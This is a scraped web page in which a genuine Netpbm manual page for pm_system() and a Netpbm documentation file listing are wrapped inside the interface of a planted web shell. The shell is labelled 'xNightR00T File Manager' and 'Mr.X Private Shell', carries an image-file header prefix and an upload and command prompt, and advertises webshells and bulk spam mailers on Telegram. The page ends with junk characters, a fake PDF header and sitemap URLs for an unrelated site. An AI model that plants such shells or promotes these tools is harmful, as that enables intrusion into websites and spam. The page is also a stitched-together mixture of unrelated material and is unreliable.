xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html> 
<head>
<title>Netpbm subroutine library: pm_system() subroutine, etc.</title>
<meta name="manual_section" content="3">
</head>

<body>
<h1>pm_system()</h1>
Updated: 17 October 2006
<br>

<h2>Name</h2>
pm_system - run a Netpbm program with program input and output

<h2>Synopsis</h2>

<pre>
<code>
#include &lt;netpbm/pm_system.h&gt;

pm_system(void                  stdinFeeder(int, void *),
          void *          const feederParm,
          void                  stdoutAccepter(int, void *),
          void *          const accepterParm,
          const char *    const shellCommand);

pm_system_lp(const char *  const progName,
             void                stdinFeeder(int, void *),
             void *        const feederParm,
             void                stdoutAccepter(int, void *),
             void *        const accepterParm,
             ...);

pm_system_vp(const char *  const progName,
             const char ** const argArray,
             void                stdinFeeder(int, void *),
             void *        const feederParm,
             void                stdoutAccepter(int, void *),
             void *        const accepterParm);

</code>
</pre>

<h2>Example</h2>

<p>This simple example converts a PNM image on Standard Input to a
JFIF (JPEG) image on Standard Output.  In this case,
<b>pm_system()</b> is doing no more than <b>system()</b> would do.

<pre>
<code>
    pm_system(NULL, NULL, NULL, NULL, "pnmtojpeg");
</code>
</pre>


<p>This example does the same thing, but moves the data through memory
buffers to illustrate use with memory buffers, and we throw in a stage
to shrink the image too:
<pre>
#include &lt;netpbm/pm_system.h&gt;

char              pnmData[100*1024];   /* Input file better be &lt; 100K */
char              jfifData[100*1024];
struct bufferDesc pnmBuffer;
struct bufferDesc jfifBuffer;
unsigned int      jfifSize;

pnmBuffer.size = fread(pnmData, 1, sizeof(pnmData), stdin);
pnmBuffer.buffer = pnmData;
pnmBuffer.bytesTransferredP = NULL;

jfifBuffer.size = sizeof(jfifData);
jfifBuffer.buffer = jfifData;
jfifBuffer.bytesTransferredP = &amp;jfifSize; 

pm_system(&amp;pm_feed_from_memory, &amp;pnmBuffer,
          &amp;pm_accept_to_memory, &amp;jfifBuffer,
          "pamscale .5 | pnmtojpeg");

fwrite(jfifData, 1, jfifSize, stdout);

</pre>


<p>This example reads an image into libnetpbm PAM structures, then
brightens it, then writes it out, to illustrate use of <b>pm_system</b>
with PAM structures.
<pre>
#include &lt;netpbm/pam.h&gt;
#include &lt;netpbm/pm_system.h&gt;

struct pam       inpam;
struct pam       outpam;
tuple **         inTuples;
tuple **         outTuples;
struct pamtuples inPamtuples;
struct pamtuples outPamtuples;

inTuples = pnm_readpam(stdin, &amp;inpam, sizeof(inpam));

outpam = inpam;

inPamtuples.pamP = &amp;inpam;
inPamtuples.tuplesP = &amp;inTuples;
outPamtuples.pamP = &amp;outpam;
outPamtuples.tuplesP = &amp;outTuples;

pm_system(&amp;pm_feed_from_pamtuples, &amp;inPamtuples,
          &amp;pm_accept_to_pamtuples, &amp;outPamtuples,
          "ppmbrighten -v 100");

outpam.file = stdout;
pnm_writepam(&amp;outpam, outTuples);

</pre>



<h2>DESCRIPTION</H2>

<p>These library functions are part of <a href="index.html">Netpbm</a>.

<p><b>pm_system()</b> is a lot like the standard C library
<b>system()</b> subroutine.  It runs a shell and has that shell
execute a shell command that you specify.  But <b>pm_system()</b>
gives you more control over the Standard Input and Standard Output of
that shell command than <b>system()</b>.  <b>system()</b> passes to the
shell command as Standard Input and Output whatever is the Standard Input
and Output of the process that calls <b>system()</b>.  But with
<b>pm_system()</b>, you specify as arguments subroutines to execute to
generate the shell command's Standard Input stream and to process the
shell command's Standard Output stream.

<p>Your Standard Input feeder subroutine can generate the stream in
limitless ways.  <b>pm_system()</b> gives it a file descriptor of a
pipe to which to write the stream it generates.  <b>pm_system()</b>
hooks up the other end of that pipe to the shell command's Standard
Input.

<p>Likewise, your Standard Output accepter subroutine can do anything
it wants with the stream it gets.  <b>pm_system()</b> gives it a file
descriptor of a pipe from which to read the stream.
<b>pm_system()</b> hooks up the other end of that pipe to the shell
command's Standard Output.

<p>The argument <i>stdinFeeder</i> is a function pointer that
identifies your Standard Input feeder subroutine.  <b>pm_system()</b>
runs it in a child process and waits for that process to terminate (and
accepts its completion status) before returning.  <i>feederParm</i> is
the argument that <b>pm_system()</b> passes to the subroutine; it is
opaque to <b>pm_system()</b>.

<p>If you pass <i>stdinFeeder</i> = NULL, <b>pm_system()</b> simply
passes your current Standard Input stream to the shell command (as
<b>system()</b> would do), and does not create a child process.

<p>The argument <i>stdoutAccepter</i> is a function pointer that
identifies your Standard Output accepter subroutine.
<b>pm_system()</b> calls it in the current process.
<i>accepterParm</i> is an argument analogous to <i>feederParm</i>.

<p>If you pass <i>stdoutAccepter</i> = NULL, <b>pm_system()</b> simply
passes your current Standard Output stream to the shell command (as
<b>system()</b> would do.

<p>The argument <i>shellCommand</i> is a null-terminated string
containing the shell command that the shell is to execute.  It can be
any command that means something to the shell and can take a pipe for
Standard Input and Output.  Example:

<pre>
<kbd>
    ppmbrighten -v 100 | pamdepth 255 | pamscale .5
</kbd>
</pre>

<b>pm_system()</b> creates a child process to run the shell and waits
for that process to terminate (and accepts its completion status)
before returning.

<h3>pm_system_lp()</h3>

<p><b>pm_system_lp()</b> is like <b>pm_system()</b> except that instead
of running a shell, which in turn typically runs another program, you
run a program of your choice directly.

<p>Argument <i>progName</i> identifies the program to run, the same way
as with <b>execlp()</b> or a shell command: if it contains a slash
(/), it is the full name of the file that contains the program.  If not,
it is a name to be looked up in the system's program search path
(determined by the PATH environment variable).

<p>You identify the arguments to the program the same way as for
<b>execlp()</b>: with the variable arguments at the end of the
<b>pm_system_lp()</b> argument list.  Each is a NUL-terminated string.
The last argument <em>must</em> be NULL to tell <b>pm_system_lp()</b>
where the arguments end.

<p>Note that the first argument (&quot;arg0&quot;) to a program is
conventionally the first word of the command used to run the program, as if it
were being run for a shell command.  In other words, typically the name of the
program.

<p>Example:

<pre>
<code>
    pm_system_lp(&quot;pnmtojpeg&quot;, NULL, NULL, NULL, NULL,
                 &quot;pnmtojpeg&quot;, &quot;mypicture.jpg&quot;, &quot;-quality=50&quot;, NULL);
</code>
</pre>

<p><b>pm_system_lp()</b> is much safer than <b>pm_system()</b> when
your program computes the arguments or gets them from a user.  If you
build a shell command using such arguments, unless you're really
careful, you may end up building a shell command that does something
very different from what you intended, because the argument could
contain characters that mean something to the shell such as
&quot;|&quot;.

<p><b>pm_system_lp()</b> can also be considerably faster that
<b>pm_system()</b>, since it skips the whole running of the shell.


<h3>pm_system_vp()</h3>

<p><b>pm_system_vp()</b> is like <b>pm_system_lp()</b> except that
instead of supplying the program arguments as variable arguments, you
supply them as an array, as with <b>execvp()</b>.  A NULL element in
the array identifies the end of the arguments.

<p>Example:

<pre>
<code>
    const char * argArray[3];

    argArray[0] = &quot;pnmtojpeg&quot;;
    argArray[1] = &quot;-quality=50&quot;;
    argArray[2] = NULL;

    pm_system_vp(&quot;pnmtojpeg&quot;, argArray, NULL, NULL, NULL, NULL);
</code>
</pre>


<h2>Applications</h2>

<p>The point of <b>pm_system()</b> and friends is to allow you to
write a C program that uses other programs internally, as a shell
script would.  This is particularly desirable with Netpbm, because
Netpbm consists of a lot of programs that perform basic graphic
manipulations and you'd like to be able to build a program that does a
more sophisticated graphic manipulation by calling the more basic
Netpbm programs.  These building block programs typically take input
from Standard Input and write output to Standard Output.

<p>The obvious alternative is to use a higher level language -- Bourne
Shell or Perl, for example.  But often you want your program to do
manipulations of your graphical data that are easier and more
efficient in C.  Or you want to use the Netpbm subroutine library in
your program.  The Netpbm subroutine library is a C-linkage library;
the subroutines in it are not usable from a Bourne Shell or Perl
program.

<p>A typical use of <b>pm_system()</b> is to place the contents of
some graphical image file in memory, run a Netpbm program against it,
and have what would ordinarily go into an output file in memory too,
for further processing.  To do that, you can use the memory buffer
Standard Input feeder and Standard Output accepter described below.

<p>If your program uses the Netpbm subroutine library to read, write, and
manipulate images, you may have an image in an array of PAM tuples.  If you
want to manipulate that image with a Netpbm program (perhaps remap the
colors using <b>pnmremap</b>), you can use the pamtuple Standard Input
feeder and Standard Output acceptor described below.

<h2>Broken Pipe Behavior</h2>

<p>When you set up a shell command to take input from a pipe, as
you do with <b>pm_system()</b>, you need to understand how pipes work with
respect to the programs at either end of the pipe agreeing to how much
data is to be transferred.  Here are some notes on that.

<p>It is normal to read a pipe before the process on the other end has
written the data you hope to read, and it is normal to write to a pipe
before the process on the other end has tried to read your data.
Writes to a pipe can be buffered until the reading end requests the
data.  A process reading or writing a pipe can block until the other
end is ready.  Or a read or write can complete with an indication that
the other end is not ready at the moment and therefore no data, or
less data than was requested, was transferred.

<p>The pipe is normally controlled by the writing end.  When you read
from a pipe, you keep reading until the program on the other end of
the pipe closes it, and then you get an end-of-file indication.  You then
normally close the reading end of the pipe, since it is no longer useful.

<p>When you close the reading end of a pipe before getting the
end-of-file indication and the writer subsequently tries to write to
the pipe, that is an error condition for the writer.  In a typical
default Unix environment, that error causes the writer to receive a
SIGPIPE signal and that signal causes the writer process to terminate
abnormally.  But if, alternatively, the writer has ordered that SIGPIPE
be blocked, ignored, or handled, the signal does not cause the death of
the writer.  Instead, the write operation simply completes with an error
indication.


<h2>Standard Feeders And Acceptors</h2>

<p>You can supply anything you like as a Standard Input feeder or
Standard Output acceptor, but the Netpbm subroutine library comes with
a few that perform commonly needed functions.

<h3>Memory Buffer</h3>

<p>These routines are for when you just want to treat an area of
memory as a file.  If the shell command would ordinarily read a 513
byte regular file from its Standard Input, you want it to take 513 bytes
from a certain address in your process' memory.  Whatever bytes the
shell command wants to write to its output file you want it to store at
another address in your process' memory.

<p>The Standard Input feeder for this is called <b>pm_feed_from_memory</b>.
The Standard Output accepter is <b>pm_accept_to_memory</b>.

<p>For both of these, the argument is the address of a <b>struct
bufferDesc</b>, which is defined as follows:

<pre>
struct bufferDesc {
    unsigned int    size;
    unsigned char * buffer;
    unsigned int *  bytesTransferredP;
};
</pre>

<i>size</i> is the size of the memory buffer and <i>buffer</i> is its
location in memory (address).  The Standard Input feeder will attempt
to feed the entire buffer to the shell command's Standard Input; the
Standard Output accepter will not accept any more data from the shell
command's Standard Output than will fit in the buffer.  Both return
the actual amount of data read or written, in bytes, at the location
identified by <i>bytesTransferredP</i>.  Unless
<b>bytesTransferredP</b> is NULL.

<p>Because a process typically terminates abnormally when it is not
able to write everything to a pipe that it wanted to,
<i>bytesTransferredP</i> is not usually useful in the Standard Input feeder
case.


<h3>Pamtuple</h3>

<p>These routines are for when you have images in memory in the data
structures used by the PAM family of subroutines in the Netpbm library --
i.e. struct PAM and an array of struct tuple.  With these routines, you
can run a Netpbm program against such an image just as you would against
the same image in a regular file.

<p>The Standard Input feeder for this is called
<b>pm_feed_from_pamtuples</b>.  The Standard Output accepter is
<b>pm_accept_to_pamtuples</b>.

<p>For both of these, the argument is the address of a <b>struct
pamtuples</b>, which is defined as follows:

<pre>
struct pamtuples {
    struct pam * pamP;
    tuple ***    tuplesP;
};
</pre>

<p>For the Standard Input feeder, you supply a struct pam, valid up
through the <i>tuple_type</i> member (except it doesn't matter what
the <i>file</i> member is) and array of tuples.

<p>For the Standard Output Accepter, you supply only space in memory
for the struct pam and the address of the tuple array.  The routine
fills in the struct pam up through the <i>tuple_type</i> member
(except leaves the <i>file</i> member undefined) and allocates space
for the tuple array with malloc().  You are responsible for freeing
that memory.

<h2>HISTORY</h2>
<b>pm_system()</b> was introduced in Netpbm 10.13 (January 2003).

</body>
</html>

Filemanager

Name Type Size Permission Actions
411toppm.html File 1.76 KB 0644
anytopnm.html File 2.56 KB 0644
asciitopgm.html File 2.98 KB 0644
atktopbm.html File 945 B 0644
avstopam.html File 1.41 KB 0644
bioradtopgm.html File 1.43 KB 0644
blend1.gif File 18.25 KB 0644
blend3.gif File 21.23 KB 0644
blend4.gif File 24.56 KB 0644
blend6.gif File 21.87 KB 0644
blend7.gif File 26.28 KB 0644
bmptopnm.html File 2.16 KB 0644
bmptoppm.html File 562 B 0644
brushtopbm.html File 953 B 0644
cameratopam.html File 5.21 KB 0644
cistopbm.html File 1.36 KB 0644
cmuwmtopbm.html File 945 B 0644
ddbugtopbm.html File 3.22 KB 0644
directory.html File 34.32 KB 0644
escp2topbm.html File 2.21 KB 0644
extendedopacity.html File 6.7 KB 0644
eyuvtoppm.html File 1.1 KB 0644
faxformat.html File 3.66 KB 0644
fiascotopnm.html File 6.19 KB 0644
fitstopnm.html File 3.64 KB 0644
fstopgm.html File 1.95 KB 0644
g3topbm.html File 4.95 KB 0644
gemtopbm.html File 512 B 0644
gemtopnm.html File 1.38 KB 0644
giftopnm.html File 7.65 KB 0644
globe.jpg File 14.04 KB 0644
gobot.gif File 1.37 KB 0644
gouldtoppm.html File 911 B 0644
hdifftopam.html File 1.5 KB 0644
hipstopgm.html File 1.03 KB 0644
hpcdtoppm.html File 11.18 KB 0644
icontopbm.html File 1.2 KB 0644
ilbmtoppm.html File 3.29 KB 0644
imgtoppm.html File 1.03 KB 0644
index.html File 43.78 KB 0644
infotopam.html File 6.52 KB 0644
jbigtopnm.html File 3.91 KB 0644
jpeg2ktopam.html File 5.3 KB 0644
jpegtopnm.html File 12.51 KB 0644
leaftoppm.html File 1.1 KB 0644
liberror.html File 8.46 KB 0644
libmaketmpfile.html File 2.43 KB 0644
libmaketmpfilefd.html File 1.72 KB 0644
libnetpbm.html File 3.55 KB 0644
libnetpbm_dir.html File 9.03 KB 0644
libnetpbm_draw.html File 4.22 KB 0644
libnetpbm_image.html File 23.35 KB 0644
libnetpbm_ug.html File 11.12 KB 0644
libpbm.html File 9.43 KB 0644
libpgm.html File 7.71 KB 0644
libpm.html File 16.81 KB 0644
libpnm.html File 9.94 KB 0644
libppm.html File 26.71 KB 0644
libsystem.html File 14.36 KB 0644
libtmpfile.html File 1.71 KB 0644
libtmpfilefd.html File 1.3 KB 0644
lispmtopgm.html File 1.94 KB 0644
macptopbm.html File 1.87 KB 0644
mdatopbm.html File 1.61 KB 0644
mgrtopbm.html File 1.03 KB 0644
mrf.html File 4.3 KB 0644
mrftopbm.html File 1.54 KB 0644
mtvtoppm.html File 1.04 KB 0644
neotoppm.html File 1.18 KB 0644
palmtopnm.html File 3.54 KB 0644
pam.html File 12.22 KB 0644
pamaddnoise.html File 3.96 KB 0644
pamarith.html File 10.92 KB 0644
pambackground.html File 4.85 KB 0644
pambayer.html File 3.54 KB 0644
pamchannel.html File 2.7 KB 0644
pamcomp.html File 14.3 KB 0644
pamcut.html File 6.69 KB 0644
pamdeinterlace.html File 2.52 KB 0644
pamdepth.html File 2.47 KB 0644
pamdice.html File 4.52 KB 0644
pamditherbw.html File 6.62 KB 0644
pamedge.html File 2.24 KB 0644
pamendian.html File 2.55 KB 0644
pamenlarge.html File 3.22 KB 0644
pamexec.html File 3.15 KB 0644
pamfile.html File 2.93 KB 0644
pamfix.html File 4.7 KB 0644
pamfixtrunc.html File 1.51 KB 0644
pamflip.html File 8.43 KB 0644
pamfunc.html File 11.29 KB 0644
pamgauss.html File 3.7 KB 0644
pamgradient.html File 2.92 KB 0644
pamlookup.html File 9.54 KB 0644
pammasksharpen.html File 4.62 KB 0644
pammixinterlace.html File 3.1 KB 0644
pammosaicknit.html File 3.23 KB 0644
pamoil.html File 2.36 KB 0644
pampaintspill.html File 5.21 KB 0644
pamperspective.html File 17.28 KB 0644
pampick.html File 2.35 KB 0644
pampop9.html File 2.4 KB 0644
pamrecolor.html File 8.69 KB 0644
pamrgbatopng.html File 2.26 KB 0644
pamrubber.html File 6.43 KB 0644
pamscale.html File 25.42 KB 0644
pamseq.html File 2.77 KB 0644
pamsharpmap.html File 2.38 KB 0644
pamsharpness.html File 1.77 KB 0644
pamsistoaglyph.html File 6.65 KB 0644
pamslice.html File 4.06 KB 0644
pamsplit.html File 2.93 KB 0644
pamstack.html File 3.41 KB 0644
pamstereogram.html File 16.52 KB 0644
pamstretch-gen.html File 1.62 KB 0644
pamstretch.html File 3.72 KB 0644
pamsumm.html File 3.72 KB 0644
pamsummcol.html File 4.1 KB 0644
pamthreshold.html File 6.42 KB 0644
pamtilt.html File 4.53 KB 0644
pamtoavs.html File 1.8 KB 0644
pamtodjvurle.html File 1.78 KB 0644
pamtofits.html File 3.94 KB 0644
pamtogif.html File 13.13 KB 0644
pamtohdiff.html File 3.32 KB 0644
pamtohtmltbl.html File 2.71 KB 0644
pamtojpeg2k.html File 9.38 KB 0644
pamtompfont.html File 2.07 KB 0644
pamtooctaveimg.html File 3.21 KB 0644
pamtopam.html File 1.67 KB 0644
pamtopdbimg.html File 2.6 KB 0644
pamtopfm.html File 3.1 KB 0644
pamtopnm.html File 3.22 KB 0644
pamtosrf.html File 2.68 KB 0644
pamtosvg.html File 7.07 KB 0644
pamtotga.html File 4.42 KB 0644
pamtotiff.html File 23.6 KB 0644
pamtouil.html File 2.5 KB 0644
pamtowinicon.html File 5.02 KB 0644
pamtoxvmini.html File 1.09 KB 0644
pamundice.html File 6.94 KB 0644
pamvalidate.html File 2.19 KB 0644
pamwipeout.html File 3.08 KB 0644
pamx.html File 8.25 KB 0644
pbm.html File 6.58 KB 0644
pbmclean.html File 5.12 KB 0644
pbmlife.html File 1 KB 0644
pbmmake.html File 1.32 KB 0644
pbmmask.html File 2.89 KB 0644
pbmminkowski.html File 529 B 0644
pbmpage.html File 2.75 KB 0644
pbmpscale.html File 1.74 KB 0644
pbmreduce.html File 2.29 KB 0644
pbmtext.html File 13.69 KB 0644
pbmtextps.html File 3.46 KB 0644
pbmto10x.html File 1.37 KB 0644
pbmto4425.html File 1.75 KB 0644
pbmtoascii.html File 1.92 KB 0644
pbmtoatk.html File 934 B 0644
pbmtobbnbg.html File 1.32 KB 0644
pbmtocis.html File 1.49 KB 0644
pbmtocmuwm.html File 1.03 KB 0644
pbmtodjvurle.html File 1.18 KB 0644
pbmtoepsi.html File 3.24 KB 0644
pbmtoepson.html File 3.11 KB 0644
pbmtoescp2.html File 3.94 KB 0644
pbmtog3.html File 2.24 KB 0644
pbmtogem.html File 1.16 KB 0644
pbmtogo.html File 1.24 KB 0644
pbmtoibm23xx.html File 2.31 KB 0644
pbmtoicon.html File 1.2 KB 0644
pbmtolj.html File 3.34 KB 0644
pbmtoln03.html File 1.45 KB 0644
pbmtolps.html File 1.48 KB 0644
pbmtomacp.html File 1.81 KB 0644
pbmtomda.html File 1.75 KB 0644
pbmtomgr.html File 1.03 KB 0644
pbmtomrf.html File 1.4 KB 0644
pbmtonokia.html File 3.28 KB 0644
pbmtopgm.html File 2.47 KB 0644
pbmtopi3.html File 1.11 KB 0644
pbmtopk.html File 4.3 KB 0644
pbmtoplot.html File 1.06 KB 0644
pbmtoppa.html File 9.66 KB 0644
pbmtopsg3.html File 1.8 KB 0644
pbmtoptx.html File 1.05 KB 0644
pbmtosunicon.html File 1.02 KB 0644
pbmtowbmp.html File 1.32 KB 0644
pbmtox10bm.html File 759 B 0644
pbmtoxbm.html File 1.49 KB 0644
pbmtoybm.html File 1.13 KB 0644
pbmtozinc.html File 1.11 KB 0644
pbmupc.html File 1.91 KB 0644
pc1toppm.html File 1.13 KB 0644
pcdovtoppm.html File 2.32 KB 0644
pcxtoppm.html File 2.27 KB 0644
pdbimgtopam.html File 1.78 KB 0644
pfm.html File 3.28 KB 0644
pfmtopam.html File 1.89 KB 0644
pgm.html File 7.65 KB 0644
pgmabel.html File 3.27 KB 0644
pgmbentley.html File 1.14 KB 0644
pgmcrater.html File 7.02 KB 0644
pgmdeshadow.html File 1.89 KB 0644
pgmedge.html File 504 B 0644
pgmenhance.html File 1.53 KB 0644
pgmhist.html File 4.41 KB 0644
pgmkernel.html File 3.48 KB 0644
pgmmake.html File 1.72 KB 0644
pgmmedian.html File 3.62 KB 0644
pgmminkowski.html File 3.48 KB 0644
pgmmorphconv.html File 3.87 KB 0644
pgmnoise.html File 2 KB 0644
pgmnorm.html File 504 B 0644
pgmoil.html File 492 B 0644
pgmramp.html File 3.24 KB 0644
pgmslice.html File 478 B 0644
pgmtexture.html File 1.98 KB 0644
pgmtofs.html File 1.08 KB 0644
pgmtolispm.html File 1.81 KB 0644
pgmtopbm.html File 1.69 KB 0644
pgmtopgm.html File 1.64 KB 0644
pgmtoppm.html File 4.08 KB 0644
pi1toppm.html File 1.17 KB 0644
pi3topbm.html File 1.12 KB 0644
picttoppm.html File 5.25 KB 0644
pjtoppm.html File 1.27 KB 0644
pktopbm.html File 2.04 KB 0644
pngtopam.html File 12.06 KB 0644
pngtopnm.html File 1.87 KB 0644
pnm.html File 2.65 KB 0644
pnmalias.html File 2.81 KB 0644
pnmarith.html File 752 B 0644
pnmcat.html File 2.85 KB 0644
pnmcolormap.html File 8.08 KB 0644
pnmcomp.html File 2.05 KB 0644
pnmconvol.html File 13.66 KB 0644
pnmcrop.html File 6.18 KB 0644
pnmcut.html File 966 B 0644
pnmdepth.html File 843 B 0644
pnmfile.html File 509 B 0644
pnmflip.html File 1.06 KB 0644
pnmgamma.html File 12.02 KB 0644
pnmhisteq.html File 6.64 KB 0644
pnmhistmap.html File 5.21 KB 0644
pnmindex.html File 3.14 KB 0644
pnminterp.html File 569 B 0644
pnminvert.html File 1.27 KB 0644
pnmmargin.html File 1.77 KB 0644
pnmmercator.html File 5.44 KB 0644
pnmmontage.html File 4.65 KB 0644
pnmnlfilt.html File 7.24 KB 0644
pnmnoraw.html File 751 B 0644
pnmnorm.html File 12.08 KB 0644
pnmpad.html File 4.78 KB 0644
pnmpaste.html File 3.63 KB 0644
pnmpsnr.html File 2.1 KB 0644
pnmquant.html File 2.65 KB 0644
pnmquantall.html File 2.44 KB 0644
pnmremap.html File 10.68 KB 0644
pnmrotate.html File 4.94 KB 0644
pnmscale.html File 1.02 KB 0644
pnmscalefixed.html File 2.67 KB 0644
pnmshear.html File 3.81 KB 0644
pnmsmooth.html File 4.81 KB 0644
pnmsplit.html File 676 B 0644
pnmstitch.html File 4.03 KB 0644
pnmtile.html File 1.4 KB 0644
pnmtoddif.html File 2.26 KB 0644
pnmtofiasco.html File 10.94 KB 0644
pnmtofits.html File 495 B 0644
pnmtojbig.html File 9.61 KB 0644
pnmtojpeg.html File 21.34 KB 0644
pnmtopalm.html File 9.73 KB 0644
pnmtopclxl.html File 7.18 KB 0644
pnmtoplainpnm.html File 733 B 0644
pnmtopng.html File 18.21 KB 0644
pnmtopnm.html File 2.51 KB 0644
pnmtops.html File 18.44 KB 0644
pnmtorast.html File 1.53 KB 0644
pnmtorle.html File 3.25 KB 0644
pnmtosgi.html File 1.96 KB 0644
pnmtosir.html File 1.14 KB 0644
pnmtotiff.html File 499 B 0644
pnmtotiffcmyk.html File 7.06 KB 0644
pnmtoxwd.html File 1.69 KB 0644
ppm.html File 7.53 KB 0644
ppm3d.html File 4.29 KB 0644
ppmbrighten.html File 5.65 KB 0644
ppmchange.html File 5.5 KB 0644
ppmcie.html File 13.67 KB 0644
ppmcolormask.html File 3.95 KB 0644
ppmdcfont.html File 1.63 KB 0644
ppmddumpfont.html File 1.11 KB 0644
ppmdim.html File 1.24 KB 0644
ppmdist.html File 2.07 KB 0644
ppmdither.html File 2.39 KB 0644
ppmdmkfont.html File 1.26 KB 0644
ppmdraw.html File 8.43 KB 0644
ppmfade.html File 4.86 KB 0644
ppmflash.html File 2.04 KB 0644
ppmforge.html File 16.43 KB 0644
ppmglobe.html File 5.02 KB 0644
ppmhist.html File 5.77 KB 0644
ppmlabel.html File 5.82 KB 0644
ppmmake.html File 1.9 KB 0644
ppmmix.html File 2.21 KB 0644
ppmnorm.html File 538 B 0644
ppmntsc.html File 3.06 KB 0644
ppmpat.html File 2.99 KB 0644
ppmquant.html File 2.82 KB 0644
ppmquantall.html File 841 B 0644
ppmrainbow.html File 3.38 KB 0644
ppmrelief.html File 1.25 KB 0644
ppmrough.html File 4.85 KB 0644
ppmshadow.html File 9.94 KB 0644
ppmshift.html File 2.4 KB 0644
ppmspread.html File 1.37 KB 0644
ppmsvgalib.html File 4.55 KB 0644
ppmtoacad.html File 5.64 KB 0644
ppmtoapplevol.html File 1.34 KB 0644
ppmtoarbtxt.html File 5.09 KB 0644
ppmtoascii.html File 2.41 KB 0644
ppmtobmp.html File 3.99 KB 0644
ppmtoeyuv.html File 1.28 KB 0644
ppmtogif.html File 2.76 KB 0644
ppmtoicr.html File 3.77 KB 0644
ppmtoilbm.html File 5.25 KB 0644
ppmtojpeg.html File 590 B 0644
ppmtoleaf.html File 1.15 KB 0644
ppmtolj.html File 1.97 KB 0644
ppmtomitsu.html File 4.1 KB 0644
ppmtompeg-par.gif File 36.52 KB 0644
ppmtompeg-snr.gif File 2.3 KB 0644
ppmtompeg.html File 45.06 KB 0644
ppmtoneo.html File 1.07 KB 0644
ppmtopcx.html File 5.92 KB 0644
ppmtopgm.html File 2.09 KB 0644
ppmtopi1.html File 1.14 KB 0644
ppmtopict.html File 1.67 KB 0644
ppmtopj.html File 2.89 KB 0644
ppmtopjxl.html File 3.02 KB 0644
ppmtoppm.html File 1.8 KB 0644
ppmtopuzz.html File 1.17 KB 0644
ppmtorgb3.html File 1.55 KB 0644
ppmtosixel.html File 2.67 KB 0644
ppmtospu.html File 2.79 KB 0644
ppmtoterm.html File 3.07 KB 0644
ppmtotga.html File 541 B 0644
ppmtouil.html File 395 B 0644
ppmtowinicon.html File 3.99 KB 0644
ppmtoxpm.html File 6.92 KB 0644
ppmtoyuv.html File 2.84 KB 0644
ppmtoyuvsplit.html File 1.92 KB 0644
ppmtv.html File 1.58 KB 0644
ppmwheel.html File 1.84 KB 0644
psidtopgm.html File 1.88 KB 0644
pstopnm.html File 17.77 KB 0644
qrttoppm.html File 978 B 0644
rasttopnm.html File 2.13 KB 0644
rawtopgm.html File 5.19 KB 0644
rawtoppm.html File 2.98 KB 0644
rgb3toppm.html File 1.27 KB 0644
rlatopam.html File 1.34 KB 0644
rletopnm.html File 3.79 KB 0644
sbigtopgm.html File 1.3 KB 0644
sgitopnm.html File 2.57 KB 0644
sirtopnm.html File 1.22 KB 0644
sldtoppm.html File 5.89 KB 0644
spctoppm.html File 1.08 KB 0644
spottopgm.html File 2.62 KB 0644
sputoppm.html File 1.02 KB 0644
srftopam.html File 1.86 KB 0644
sunicontopnm.html File 2.77 KB 0644
testimg.png File 48.11 KB 0644
testimg_histbar.png File 1.08 KB 0644
testimg_histdot.png File 1014 B 0644
tgatoppm.html File 2.12 KB 0644
thinkjettopbm.html File 1.75 KB 0644
tifftopnm.html File 13.13 KB 0644
vidtoppm.html File 755 B 0644
wbmptopbm.html File 1.31 KB 0644
winicon.html File 4.6 KB 0644
winicontopam.html File 3.25 KB 0644
winicontoppm.html File 2.86 KB 0644
xbmtopbm.html File 1.04 KB 0644
ximtoppm.html File 2.14 KB 0644
xpmtoppm.html File 2.92 KB 0644
xvminitoppm.html File 1.38 KB 0644
xwdtopnm.html File 4.57 KB 0644
ybmtopbm.html File 1.12 KB 0644
yuvsplittoppm.html File 1.68 KB 0644
yuvtoppm.html File 1.54 KB 0644
zeisstopnm.html File 1.33 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml